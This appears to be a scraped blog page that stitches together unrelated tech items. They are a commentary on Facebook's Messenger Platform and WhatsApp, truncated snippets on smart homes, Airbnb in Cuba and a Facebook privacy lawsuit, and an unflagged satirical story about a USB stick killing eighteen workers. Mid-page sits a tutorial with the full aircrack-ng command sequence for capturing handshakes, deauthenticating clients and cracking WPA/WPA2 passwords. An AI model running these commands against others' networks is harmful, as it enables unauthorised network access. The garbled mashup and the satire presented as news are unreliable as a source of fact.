Facebook’s Messenger Platform Preserves WhatsApp’s Clarity Of Purpose

We demystified it last month, but Facebook’s $18 billion acquisition of WhatsApp should begin to make more sense to people today after the company announced that its Messenger service will become a platform for third parties — as TechCrunch first reported last week.

The Messenger Platform will allow developers to deeplink their apps into Messenger, and it will also become a communications channel for businesses and customers. These moves aren’t a huge surprise — they’ve been pioneered by Line and WeChat in Asia for years, and Facebook’s head of Messenger, David Marcus, gave plenty of hints in an interview with Wired last year. But, while the tech industry chews on the immediate implications, the path for WhatsApp is clearer than ever.

If Facebook is a platform (which it now is), then WhatsApp will continue to be a communications utility. WhatsApp’s simplicity is the yin to the yang of Messenger’s busy platform.

“No ads, no games, and no gimmicks” has long been the ethos for WhatsApp’s founders, who instead stick to the business of connecting people. Initially that was via free messages — WhatsApp has eclipsed SMS in volume — and now it includes voice calls,which are slowly rolling out on Android devices first.

A note from WhatsApp co-founder Brian Acton, via Sequoia Capital

If Facebook didn’t have Messenger — or WhatsApp had remained independent — there would be pressure to introduce games, business-consumer messaging or other features that are money spinners in Asia and way more lucrative than WhatsApp’s $1 per year subscription. (Though, for what it’s worth, I’ve not paid a cent for my three years using it.)

However, with Messenger adopting the platform approach and offering a more interactive experience, WhatsApp can be its antithesis and focus on basic communication.

There’s an argument that Facebook will bring WhatsApp under the Messenger Platform umbrella over time, which is easy to say when you consider that the service has 700 million monthly active users. But there’s likely a vast overlap between that user base and the 600 million that Facebook says use Messenger; duplicating features across the two would make no sense.

There’s also a strong case to offer a simplified chat app option. WhatsApp’s core strength is its ease of use. There needs to be a channel for users like my mum who don’t want bells and whistles, or those using low-end devices or spotty mobile internet connections.

Yes, WhatsApp may not make the kind of revenue per user as Messenger if it stays simple, but I’m willing to bet that Facebook is happier to have it as a differentiated experience that keeps non-Messenger users inside the Facebook ecosystem in some form. That’s better than losing them to a rival service. Besides, more subtle monetization options may be forthcoming for WhatsApp in the future.

Update: WhatsApp co-founder Brian Acton told a panel at Facebook’s F8 group that “[Messenger] Platform is not top-of-mind for us.” WhatsApp is focused on product development, he added.

Comments

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0 airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.

Building a smarter home

The Jetsons presented a highly entertaining vision of what homes of the future would look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s homes and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019, companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...

Airbnb will open its Cuba listings to users outside the United States

Airbnb will now let travelers from outside the U.S. to book properties in Cuba after receiving authorization from the U.S. government, reports the Associated Press . Previously, only Americans were allowed to reserve the site’s Cuban listings . They will open to international users on April 2. Airbnb launched its Cuban operations in April 2014 , four months after the Obama administration revealed that it will begin to restore diplomatic relations with the Communist country . The historic policy change means that travel and trade sanctions will be lifted , which is expected to boost tourism to Cuba dramatically because Americans no longer need licenses to visit. In fact, President Obama is currently on an official visit to Cuba , the first president since Calvin Coolidge to do so. According to the AP, Cuba is currently Airbnb’s fastest-growing market, with about 4,000 homes added since it opened listings. Other travel businesses...

Careless USB removal causes multiple deaths

EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...

Exciting Technology

Search This Blog